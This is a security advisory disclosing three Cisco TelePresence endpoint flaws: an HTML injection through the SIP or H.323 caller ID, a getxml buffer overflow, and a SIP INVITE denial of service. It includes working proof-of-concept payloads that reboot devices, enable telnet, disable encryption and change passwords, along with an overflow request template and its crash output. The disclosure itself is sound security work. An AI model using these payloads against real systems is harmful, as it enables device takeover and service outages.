Cisco TelePresence is an umbrella term for Video Conferencing Hardware and Software, Infrastructure and Endpoints. The C & MXP Series are the Endpoints used on desks or in boardrooms to provide users with a termination point for Video Conferencing.
1. Post-authentication HTML Injection – CVE-2011-2544 (CSCtq46488): Cisco TelePresence Endpoints have a web interface (HTTP or HTTPS) for managing, configuring and reporting. It is possible to set the Call ID (with H.323 or SIP) to a HTML value. If a call is made to another endpoint and an authenticated user browses to the web interface on the endpoint receiving the call (e.g. to view call statistics), the HTML will render locally within the context of the logged in user. From this point it is possible to make changes to the system as the authenticated user. The flaw is due to the flexibility of the H.323 ID or SIP Display Name fields and failure to correctly validate user input.
Examples (MXP) (only for test)
Rebooting the system:
<IMG SRC="/reboot&Yes=please">
The attacker may also choose to change passwords in the system, disable encryption or enable telnet:
<IMG SRC=/html_select_status?reload=other.ssi&telnet=On> <IMG SRC=/html_select_status?reload=security.ssi&/Configuration/ Conference/Encryption/Mode=Off&/Configuration/SystemUnit/Password=test>
2. Post-authentication Memory Corruption – CVE-2011-2543 (CSCtq46496): Cisco TelePresence systems (Endpoints and Infrastructure) use XPath for setting and getting configuration.
Example syntax is (only for test):
http://ip/getxml?location=/Configuration/Video
The request is sent to a locally listening shell (tshell). This is the case for all requests relating to performing an action on the system (e.g. config get or set). The shell then sends the input to the “main” application (/app/main, id=0), and the data is passed as a parameter.
It was discovered that the getXML handle does not properly perform length checking on the user supplied input before passing it to the tshell. Furthermore, there is no length checking performed in the tshell and no bounds checking performed in the main application where the parameter is consumed. As such, it is possible to send input that exceeds the size of the receiving buffer, subsequently causing an invalid address to be read. This causes a reboot on the Endpoints. The VCS will not reboot, the process will crash by SIGSEGV (or sigabrt) but it will restart the process itself which drops all calls.
Proof of Concept:
GET /wsgi/getxml?location="+("A"*5200)+("\x60"*4)+("X"*4)+"HTTP/1.1\r\n
Host: 192.168.6.99\r\n\r\n"
Received signal SIGSEGV (11) in thread 0x129e8480, TID 2670
Illegal memory access at: 0x5858585c
Registers:
GPR00: 00f2c908 129e5960 129ef920 00000005 00000040 0000000c 00000037
0f315580
GPR08: 00000005 129e5a70 129e5a80 58585858 0f3272d4 11589858 129e6896
0000000b
GPR16: 129e6084 11164a1c 00000000 129e6894 00000037 1299ca18 00000005
00000002
GPR24: 129e59a8 00000002 0f3ea3a4 129e5a64 00000037 00000005 0f410bac
129e5960
GPR24: 129e59a8 00000002 0f3ea3a4 129e5a64 00000037 00000005 0f410bac
129e5960
NIP: 0f39abc8 MSR: 0000d032 OGPR3: 00000002
As you can see, the crash string is passed as a parameter in GPR 8. The severity of this issue is compounded by the fact that the main application runs as root, this could potentially lead to arbitrary code execution.
3. Pre-authentication SIP Denial of Service – CVE-2011-2577 (CSCtq46500): Cisco TelePresence Endpoints utilise SIP for the call setup protocol. Sending a SIP INVITE with a 4×8 a”s in the MAC Address field and the receive field causes the system to reboot.
Proof of Concept:
Exception 0x1100 : Data TLB load miss Active task FsmMain FSM process : SipTrnsp(0) FSM message : SipTrnsp_Send_Msg_Req from SipTrnsp(0) Data TLB miss (DMISS) : 0x00000000 (illegal addr. accessed)
Discovered by David Klein, Sense of Security Labs.
References: http://www.senseofsecurity.com.au/advisories/SOS-11-010.pdf
